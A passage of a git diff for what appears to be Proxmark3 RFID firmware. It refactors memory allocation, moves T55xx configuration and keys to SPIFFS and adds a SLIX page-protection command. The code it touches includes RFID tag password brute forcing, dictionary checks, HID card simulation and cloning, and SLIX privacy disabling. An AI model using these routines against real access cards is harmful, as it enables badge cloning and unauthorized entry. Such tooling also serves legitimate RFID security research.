(AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -1585,7 +1585,7 @@ static void CodeIso14443bAsReader(const uint8_t *cmd, int len, bool framing) { /* * Convenience function to encode, transmit and trace iso 14443b comms */ -static void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) { +void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing) { const tosend_t *ts = get_tosend(); CodeIso14443bAsReader(cmd, len, framing); TransmitFor14443b_AsReader(start_time); @@ -1800,7 +1800,7 @@ static int iso14443b_select_cts_card(iso14b_cts_card_select_t *card) { /** * SRx Initialise. */ -static int iso14443b_select_srx_card(iso14b_card_select_t *card) { +int iso14443b_select_srx_card(iso14b_card_select_t *card) { // INITIATE command: wake up the tag using the INITIATE static const uint8_t init_srx[] = { ISO14443B_INITIATE, 0x00, 0x97, 0x5b }; uint8_t r_init[3] = { 0x00 }; @@ -2135,6 +2135,9 @@ static int iso14443b_select_picopass_card(picopass_hdr_t *hdr) { static uint8_t act_all[] = { ICLASS_CMD_ACTALL }; static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY }; static uint8_t read_conf[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x01, 0xfa, 0x22 }; + + // ICLASS_CMD_SELECT 0x81 tells ISO14443b/BPSK coding/106 kbits/s + // ICLASS_CMD_SELECT 0x41 tells ISO14443b/BPSK coding/423 kbits/s uint8_t select[] = { 0x80 | ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t read_aia[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x05, 0xde, 0x64}; uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; @@ -2307,7 +2310,7 @@ void iso14443b_setup(void) { // // I tried to be systematic and check every answer of the tag, every CRC, etc... //----------------------------------------------------------------------------- -static int read_14b_srx_block(uint8_t blocknr, uint8_t *block) { +int read_14b_srx_block(uint8_t blocknr, uint8_t *block) { uint8_t cmd[] = {ISO14443B_READ_BLK, blocknr, 0x00, 0x00}; AddCrc14B(cmd, 2); @@ -2402,8 +2405,8 @@ void SniffIso14443b(void) { uint8_t ua_buf[MAX_FRAME_SIZE] = {0}; Uart14bInit(ua_buf); - //Demod14bInit(BigBuf_malloc(MAX_FRAME_SIZE), MAX_FRAME_SIZE); - //Uart14bInit(BigBuf_malloc(MAX_FRAME_SIZE)); + //Demod14bInit(BigBuf_calloc(MAX_FRAME_SIZE)); + //Uart14bInit(BigBuf_calloc(MAX_FRAME_SIZE)); // Set FPGA in the appropriate mode FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_SNIFF_IQ); @@ -2463,12 +2466,12 @@ void SniffIso14443b(void) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) { // primary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; } // secondary buffer sets as primary, secondary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -2578,7 +2581,6 @@ void SendRawCommand14443B(iso14b_raw_cmd_t *p) { if ((p->flags & ISO14B_CLEARTRACE) == ISO14B_CLEARTRACE) { clear_trace(); - BigBuf_Clear_ext(false); } set_tracing(true); diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index 70455ac15..7dadda7bd 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -45,8 +45,11 @@ int iso14443b_select_card(iso14b_card_select_t *card); void SimulateIso14443bTag(const uint8_t *pupi); void read_14b_st_block(uint8_t blocknr); +int read_14b_srx_block(uint8_t blocknr, uint8_t *block); +int iso14443b_select_srx_card(iso14b_card_select_t *card); void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); +void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing); // States for 14B SIM command #define SIM_POWER_OFF 0 diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index 6387672ea..14e3c785f 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -180,8 +180,7 @@ static void CodeIso15693AsReaderEOF(void) { static int get_uid_slix(uint32_t start_time, uint32_t *eof_time, uint8_t *uid) { - uint8_t *answer = BigBuf_malloc(ISO15693_MAX_RESPONSE_LENGTH); - memset(answer, 0x00, ISO15693_MAX_RESPONSE_LENGTH); + uint8_t *answer = BigBuf_calloc(ISO15693_MAX_RESPONSE_LENGTH); start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; @@ -985,10 +984,11 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo DecodeTagFSK_t dtfm = { 0 }; DecodeTagFSK_t *dtf = &dtfm; - if (fsk) + if (fsk) { DecodeTagFSKInit(dtf, response, max_len); - else + } else { DecodeTagInit(dt, response, max_len); + } // wait for last transfer to complete while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXEMPTY)); @@ -1014,8 +1014,9 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo for (;;) { volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); - if (behindBy == 0) + if (behindBy == 0) { continue; + } samples++; if (samples == 1) { @@ -1032,12 +1033,12 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) { // primary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; } // secondary buffer sets as primary, secondary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -1482,7 +1483,7 @@ int GetIso15693CommandFromReader(uint8_t *received, size_t max_len, uint32_t *eo bool gotFrame = false; // the decoder data structure - DecodeReader_t *dr = (DecodeReader_t *)BigBuf_malloc(sizeof(DecodeReader_t)); + DecodeReader_t *dr = (DecodeReader_t *)BigBuf_calloc(sizeof(DecodeReader_t)); DecodeReaderInit(dr, received, max_len, 0, NULL); // wait for last transfer to complete @@ -1587,7 +1588,7 @@ void AcquireRawAdcSamplesIso15693(void) { LED_A_ON(); - uint8_t *dest = BigBuf_malloc(4000); + uint8_t *dest = BigBuf_calloc(4096); // switch field on FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER); @@ -1708,12 +1709,12 @@ void SniffIso15693(uint8_t jam_search_len, uint8_t *jam_search_string, bool icla if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) { // primary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; } // secondary buffer sets as primary, secondary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -2029,7 +2030,7 @@ void ReaderIso15693(iso15_card_select_t *p_card) { LED_A_ON(); set_tracing(true); - uint8_t *answer = BigBuf_malloc(ISO15693_MAX_RESPONSE_LENGTH); + uint8_t *answer = BigBuf_calloc(ISO15693_MAX_RESPONSE_LENGTH); memset(answer, 0x00, ISO15693_MAX_RESPONSE_LENGTH); // FIRST WE RUN AN INVENTORY TO GET THE TAG UID @@ -2117,14 +2118,6 @@ void Iso15693InitTag(void) { StartCountSspClk(); } -void EmlClearIso15693(void) { - // Resetting the bitstream also frees the BigBuf memory, so we do this here to prevent - // an inconvenient reset in the future by Iso15693InitTag - FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15); - BigBuf_Clear_EM(); - reply_ng(CMD_HF_ISO15693_EML_CLEAR, PM3_SUCCESS, NULL, 0); -} - // Simulate an ISO15693 TAG, perform anti-collision and then print any reader commands // all demodulation performed in arm rather than host. - greg void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { @@ -2137,7 +2130,7 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { iso15_tag_t *tag = (iso15_tag_t *) BigBuf_get_EM_addr(); if (tag == NULL) { - Dbprintf("Can't allocate emulator memory"); + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); reply_ng(CMD_HF_ISO15693_SIMULATE, PM3_EFAILED, NULL, 0); return; } @@ -2665,7 +2658,7 @@ void BruteforceIso15693Afi(uint32_t flags) { Dbprintf("AFI = %i UID = %s", i, iso15693_sprintUID(NULL, recv + 2)); } - aborted = (BUTTON_PRESS() && data_available()); + aborted = (BUTTON_PRESS() || data_available()); if (aborted) { break; } @@ -2775,10 +2768,10 @@ void LockPassSlixIso15693(uint32_t pass_id, uint32_t password) { LED_A_ON(); uint8_t cmd_inventory[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_INVENTORY | ISO15693_REQINV_SLOT1, 0x01, 0x00, 0x00, 0x00 }; - uint8_t cmd_get_rnd[] = {ISO15693_REQ_DATARATE_HIGH, 0xB2, 0x04, 0x00, 0x00 }; - uint8_t cmd_set_pass[] = {ISO15693_REQ_DATARATE_HIGH, 0xB3, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - //uint8_t cmd_write_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, 0xB4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t cmd_lock_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, 0xB5, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00 }; + uint8_t cmd_get_rnd[] = {ISO15693_REQ_DATARATE_HIGH, ISO15693_GET_RANDOM_NUMBER, 0x04, 0x00, 0x00 }; + uint8_t cmd_set_pass[] = {ISO15693_REQ_DATARATE_HIGH, ISO15693_SET_PASSWORD, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + //uint8_t cmd_write_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, ISO15693_WRITE_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t cmd_lock_pass[] = {ISO15693_REQ_DATARATE_HIGH | ISO15693_REQ_ADDRESS, ISO15693_LOCK_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00 }; uint16_t crc; uint16_t recvlen = 0; uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; @@ -3028,14 +3021,7 @@ static uint32_t disable_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_ti return PM3_SUCCESS; } -static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) { - - - uint8_t rnd[2]; - if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) { - return PM3_ETIMEOUT; - } - +static uint32_t set_pass_15693_SlixRnd(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid, uint8_t *rnd) { // 0x04, == NXP from manufacture id list. uint8_t c[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_SET_PASSWORD, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, pass_id, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; @@ -3055,6 +3041,18 @@ static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uin return PM3_SUCCESS; } +static uint32_t set_pass_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t pass_id, const uint8_t *password, const uint8_t *uid) { + + + uint8_t rnd[2]; + if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) { + return PM3_ETIMEOUT; + } + + return set_pass_15693_SlixRnd(start_time, eof_time, pass_id, password, uid, rnd); +} + + static uint32_t set_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_time, const uint8_t *password) { uint8_t rnd[2]; if (get_rnd_15693_Slix(start_time, eof_time, rnd) == false) { @@ -3062,7 +3060,7 @@ static uint32_t set_privacy_15693_Slix(uint32_t start_time, uint32_t *eof_time, } // 0x04, == NXP from manufacture id list. - uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xBA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_ENABLE_PRIVACY, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; init_password_15693_Slix(&c[3], password, rnd); AddCrc15(c, 7); @@ -3096,7 +3094,7 @@ static uint32_t disable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time, } // 0x04, == NXP from manufacture id list. - uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xA3, 0x04, 0x00, 0x00}; + uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_RESET_EAS, 0x04, 0x00, 0x00}; AddCrc15(c, 3); start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; @@ -3127,7 +3125,7 @@ static uint32_t enable_eas_15693_Slix(uint32_t start_time, uint32_t *eof_time, c } } // 0x04, == NXP from manufacture id list. - uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, 0xA2, 0x04, 0x00, 0x00}; + uint8_t c[] = { ISO15_REQ_DATARATE_HIGH, ISO15693_SET_EAS, 0x04, 0x00, 0x00}; //init_password_15693_Slix(&c[3], password, rnd); AddCrc15(c, 3); @@ -3162,6 +3160,26 @@ static uint32_t write_password_15693_Slix(uint32_t start_time, uint32_t *eof_tim return PM3_SUCCESS; } +static uint32_t protect_page_15693_Slix(uint32_t start_time, uint32_t *eof_time, uint8_t divide_ptr, uint8_t prot_status, const uint8_t *uid) { + + uint8_t protect_cmd[] = { (ISO15_REQ_DATARATE_HIGH | ISO15_REQ_ADDRESS), ISO15693_PROTECT_PAGE, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, divide_ptr, prot_status, 0x00, 0x00}; + + memcpy(&protect_cmd[3], uid, 8); + + AddCrc15(protect_cmd, 13); + + start_time = *eof_time + DELAY_ISO15693_VICC_TO_VCD_READER; + uint8_t recvbuf[ISO15693_MAX_RESPONSE_LENGTH]; + uint16_t recvlen = 0; + + int res_wrp = SendDataTag(protect_cmd, sizeof(protect_cmd), false, true, recvbuf, sizeof(recvbuf), start_time, ISO15693_READER_TIMEOUT_WRITE, eof_time, &recvlen); + if (res_wrp != PM3_SUCCESS && recvlen != 3) { + return PM3_EWRONGANSWER; + } + + return PM3_SUCCESS; +} + static uint32_t pass_protect_EASAFI_15693_Slix(uint32_t start_time, uint32_t *eof_time, bool set_option_flag, const uint8_t *password) { uint8_t flags; @@ -3262,6 +3280,37 @@ void WritePasswordSlixIso15693(const uint8_t *old_password, const uint8_t *new_p } +void ProtectPageSlixIso15693(const uint8_t *read_password, const uint8_t *write_password, uint8_t divide_ptr, uint8_t prot_status) { + LED_D_ON(); + Iso15693InitReader(); + StartCountSspClk(); + uint32_t start_time = 0, eof_time = 0; + int res = PM3_SUCCESS; + + uint8_t uid[8], rnd[2]; + get_uid_slix(start_time, &eof_time, uid); + + if (get_rnd_15693_Slix(start_time, &eof_time, rnd) == false) { + reply_ng(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, PM3_ETIMEOUT, NULL, 0); + switch_off(); + return; + } + + if (read_password) + res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x01, read_password, uid, rnd); + + if (res == PM3_SUCCESS && write_password) + res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x02, write_password, uid, rnd); + + if (res == PM3_SUCCESS) + res = protect_page_15693_Slix(start_time, &eof_time, divide_ptr, prot_status, uid); + + reply_ng(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, res, NULL, 0); + + switch_off(); + +} + void DisablePrivacySlixIso15693(const uint8_t *password) { LED_D_ON(); Iso15693InitReader(); diff --git a/armsrc/iso15693.h b/armsrc/iso15693.h index 0f04fddf9..a4f633252 100644 --- a/armsrc/iso15693.h +++ b/armsrc/iso15693.h @@ -46,7 +46,6 @@ int GetIso15693AnswerFromTag(uint8_t *response, uint16_t max_len, uint16_t timeo //void RecordRawAdcSamplesIso15693(void); void AcquireRawAdcSamplesIso15693(void); void ReaderIso15693(iso15_card_select_t *p_card); // ISO15693 reader -void EmlClearIso15693(void); void SimTagIso15693(const uint8_t *uid, uint8_t block_size); // simulate an ISO15693 tag void BruteforceIso15693Afi(uint32_t flags); // find an AFI of a tag void SendRawCommand15693(iso15_raw_cmd_t *packet); // send arbitrary commands from CLI @@ -69,4 +68,5 @@ void EnableEAS_AFISlixIso15693(const uint8_t *password, bool usepwd); void PassProtextEASSlixIso15693(const uint8_t *password); void PassProtectAFISlixIso15693(const uint8_t *password); void WriteAFIIso15693(const uint8_t *password, bool use_pwd, uint8_t *uid, bool use_uid, uint8_t afi); +void ProtectPageSlixIso15693(const uint8_t *read_password, const uint8_t *write_password, uint8_t divide_ptr, uint8_t prot_status); #endif diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 38d6558d8..18712a7bb 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -236,8 +236,13 @@ void lf_init(bool reader, bool simulate, bool ledcontrol) { FpgaSetupSsc(FPGA_MAJOR_MODE_LF_READER); // When in reader mode, give the field a bit of time to settle. - // 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered. - SpinDelay(10); + // Optimal timing window for LF ADC measurements to be performed: + // minimum: 313T0 = 313 * 8us = 2504us = 2.50ms - Hitag2 tag internal powerup time + // 280T0 = 280 * 8us = 2240us = 2.24ms - HitagS minimum time before the first command (powerup time) + // maximum: 545T0 = 545 * 8us = 4360us = 4.36ms - Hitag2 command waiting time before it starts transmitting in public mode (if configured so) + // 565T0 = 565 * 8us = 4520us = 4.52ms - HitagS waiting time before entering TTF mode (if configured so) + // Thus (2.50 ms + 4.36 ms) / 2 ~= 3 ms (rounded down to integer), should be a good timing for both tag models + SpinDelay(3); // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 1748522d4..ac65c425c 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -29,7 +29,6 @@ #include "dbprint.h" #include "util.h" #include "commonutil.h" - #include "crc16.h" #include "string.h" #include "printf.h" @@ -38,7 +37,8 @@ #include "protocols.h" #include "pmflash.h" #include "flashmem.h" // persistence on flash -#include "appmain.h" // print stack +#include "spiffs.h" // spiffs +#include "appmain.h" // print stack /* Notes about EM4xxx timings. @@ -64,11 +64,11 @@ SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz New timer implementation in ticks.c, which is used in LFOPS.c - 1 μs = 1.5 ticks - 1 fc = 8 μs = 12 ticks + 1 µs = 1.5 ticks + 1 fc = 8 µs = 12 ticks Terms you find in different datasheets and how they match. -1 Cycle = 8 microseconds (μs) == 1 field clock (fc) +1 Cycle = 8 microseconds (µs) == 1 field clock (fc) Note about HITAG timing Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) @@ -80,7 +80,7 @@ Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per sec ========================================================================================================== ATA5577 Downlink Protocol Timings. - Note: All absolute times assume TC = 1 / fC = 8 μs (fC = 125 kHz) + Note: All absolute times assume TC = 1 / fC = 8 µs (fC = 125 kHz) Note: These timings are from the datasheet and doesn't map the best to the features of the RVD4 LF antenna. RDV4 LF antenna has high voltage and the drop of power when turning off the rf field takes about 1-2 TC longer. @@ -325,31 +325,7 @@ void setT55xxConfig(uint8_t arg0, const t55xx_configurations_t *c) { return; } - if (!FlashInit()) { - BigBuf_free(); - return; - } - - uint8_t *buf = BigBuf_malloc(T55XX_CONFIG_LEN); - Flash_CheckBusy(BUSY_TIMEOUT); - uint16_t res = Flash_ReadDataCont(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN); - if (res == 0) { - FlashStop(); - BigBuf_free(); - return; - } - - memcpy(buf, &T55xx_Timing, T55XX_CONFIG_LEN); - - // delete old configuration - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(3, 0xD); - - // write new - res = Flash_Write(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN); - - if (res == T55XX_CONFIG_LEN && g_dbglevel > 1) { + if (SPIFFS_OK == rdv40_spiffs_write(T55XX_CONFIG_FILE, (uint8_t *)&T55xx_Timing, T55XX_CONFIG_LEN, RDV40_SPIFFS_SAFETY_SAFE)) { DbpString("T55XX Config save " _GREEN_("success")); } @@ -364,15 +340,23 @@ t55xx_configurations_t *getT55xxConfig(void) { void loadT55xxConfig(void) { #ifdef WITH_FLASH - if (!FlashInit()) { + uint8_t *buf = BigBuf_calloc(T55XX_CONFIG_LEN); + + uint32_t size = 0; + if (exists_in_spiffs(T55XX_CONFIG_FILE)) { + size = size_in_spiffs(T55XX_CONFIG_FILE); + } + if (size == 0) { + Dbprintf("Spiffs file: %s does not exists or empty.", T55XX_CONFIG_FILE); + BigBuf_free(); return; } - uint8_t *buf = BigBuf_malloc(T55XX_CONFIG_LEN); - - Flash_CheckBusy(BUSY_TIMEOUT); - uint16_t isok = Flash_ReadDataCont(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN); - FlashStop(); + if (SPIFFS_OK != rdv40_spiffs_read(T55XX_CONFIG_FILE, buf, T55XX_CONFIG_LEN, RDV40_SPIFFS_SAFETY_SAFE)) { + Dbprintf("Spiffs file: %s cannot be read.", T55XX_CONFIG_FILE); + BigBuf_free(); + return; + } // verify read mem is actual data. uint8_t cntA = T55XX_CONFIG_LEN, cntB = T55XX_CONFIG_LEN; @@ -381,6 +365,7 @@ void loadT55xxConfig(void) { if (buf[i] == 0x00) cntB--; } if (!cntA || !cntB) { + Dbprintf("Spiffs file: %s does not malformed or empty.", T55XX_CONFIG_FILE); BigBuf_free(); return; } @@ -388,7 +373,7 @@ void loadT55xxConfig(void) { if (buf[0] != 0xFF) // if not set for clear memcpy((uint8_t *)&T55xx_Timing, buf, T55XX_CONFIG_LEN); - if (isok == T55XX_CONFIG_LEN) { + if (size == T55XX_CONFIG_LEN) { if (g_dbglevel > 1) DbpString("T55XX Config load success"); } @@ -959,6 +944,33 @@ static void fcAll(uint8_t fc, int *n, uint8_t clock, int16_t *remainder) { } } +bool add_HID_preamble(uint32_t *hi2, uint32_t *hi, uint32_t *lo, uint8_t length) { + // Invalid value + if (length > 84 || length == 0) + return false; + + if (length == 48) { + *hi |= 1U << (length - 32); // Example leading 1: start bit + return true; + } + if (length >= 64) { + *hi2 |= 0x09e00000; // Extended-length header + *hi2 |= 1U << (length - 64); // leading 1: start bit + } else if (length > 37) { + *hi2 |= 0x09e00000; // Extended-length header + *hi |= 1U << (length - 32); // leading 1: start bit + } else if (length == 37) { + // No header bits added to 37-bit cards + } else if (length >= 32) { + *hi |= 0x20; // Bit 37; standard header + *hi |= 1U << (length - 32); // leading 1: start bit + } else { + *hi |= 0x20; // Bit 37; standard header + *lo |= 1U << length; // leading 1: start bit + } + return true; +} + // prepare a waveform pattern in the buffer based on the ID given then // simulate a HID tag until the button is pressed void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles) { @@ -983,13 +995,7 @@ void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, boo uint16_t n = 8; if (longFMT) { - // Ensure no more than 84 bits supplied - if (hi2 > 0xFFFFF) { - DbpString("Tags can only have 84 bits."); - return; - } bitlen = 8 + 8 * 2 + 84 * 2; - hi2 |= 0x9E00000; // 9E: long format identifier manchesterEncodeUint32(hi2, 16 + 12, bits, &n); manchesterEncodeUint32(hi, 32, bits, &n); manchesterEncodeUint32(lo, 32, bits, &n); @@ -1021,7 +1027,6 @@ void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t cl // free eventually allocated BigBuf memory BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(false); int n = 0, i = 0; @@ -2147,29 +2152,34 @@ void T55xx_ChkPwds(uint8_t flags, bool ledcontrol) { #ifdef WITH_FLASH BigBuf_Clear_EM(); - uint16_t isok = 0; - uint8_t counter[2] = {0x00, 0x00}; - isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET, counter, sizeof(counter)); - if (isok != sizeof(counter)) - goto OUT; + uint32_t size = 0; - pwd_count = (uint16_t)(counter[1] << 8 | counter[0]); + if (exists_in_spiffs(T55XX_KEYS_FILE)) { + size = size_in_spiffs(T55XX_KEYS_FILE); + } + if (size == 0) { + Dbprintf("Spiffs file: %s does not exists or empty.", T55XX_KEYS_FILE); + goto OUT; + } + + pwd_count = size / T55XX_KEY_LENGTH; if (pwd_count == 0) goto OUT; // since flash can report way too many pwds, we need to limit it. // bigbuff EM size is determined by CARD_MEMORY_SIZE // a password is 4bytes. - uint16_t pwd_size_available = MIN(CARD_MEMORY_SIZE, pwd_count * 4); + uint16_t pwd_size_available = MIN(CARD_MEMORY_SIZE, pwd_count * T55XX_KEY_LENGTH); // adjust available pwd_count - pwd_count = pwd_size_available / 4; + pwd_count = pwd_size_available / T55XX_KEY_LENGTH; - isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET + 2, pwds, pwd_size_available); - if (isok != pwd_size_available) + if (SPIFFS_OK == rdv40_spiffs_read_as_filetype(T55XX_KEYS_FILE, pwds, pwd_size_available, RDV40_SPIFFS_SAFETY_SAFE)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Loaded %u passwords from spiffs file: %s", pwd_count, T55XX_KEYS_FILE); + } else { + Dbprintf("Spiffs file: %s cannot be read.", T55XX_KEYS_FILE); goto OUT; - - Dbprintf("Password dictionary count " _YELLOW_("%d"), pwd_count); + } #endif @@ -2285,15 +2295,10 @@ void CopyHIDtoT55x7(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, boo uint8_t last_block = 0; if (longFMT) { - // Ensure no more than 84 bits supplied - if (hi2 > 0xFFFFF) { - DbpString("Tags can only have 84 bits"); - return; - } // Build the 6 data blocks for supplied 84bit ID last_block = 6; - // load preamble (1D) & long format identifier (9E manchester encoded) - data[1] = 0x1D96A900 | (manchesterEncode2Bytes((hi2 >> 16) & 0xF) & 0xFF); + // load preamble (1D) + data[1] = 0x1D000000 | (manchesterEncode2Bytes((hi2 >> 16) & 0xFFFF) & 0xFFFFFF); // load raw id from hi2, hi, lo to data blocks (manchester encoded) data[2] = manchesterEncode2Bytes(hi2 & 0xFFFF); data[3] = manchesterEncode2Bytes(hi >> 16); @@ -2593,13 +2598,13 @@ static void SendForward(uint8_t fwd_bit_count, bool fast) { // 32FC * 8us == 256us / 21.3 == 12.018 steps. ok // 16FC * 8us == 128us / 21.3 == 6.009 steps. ok #ifndef EM_START_GAP -#define EM_START_GAP 55*8 +#define EM_START_GAP (55 * 8) #endif fwd_write_ptr = forwardLink_data; fwd_bit_sz = fwd_bit_count; - if (! fast) { + if (fast == false) { // Set up FPGA, 125kHz or 95 divisor LFSetupFPGAForADC(LF_DIVISOR_125, true); } @@ -2639,16 +2644,21 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitMS(20); if (ledcontrol) LED_A_ON(); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + uint32_t candidates_found = 0; for (uint32_t pwd = start_pwd; pwd < 0xFFFFFFFF; 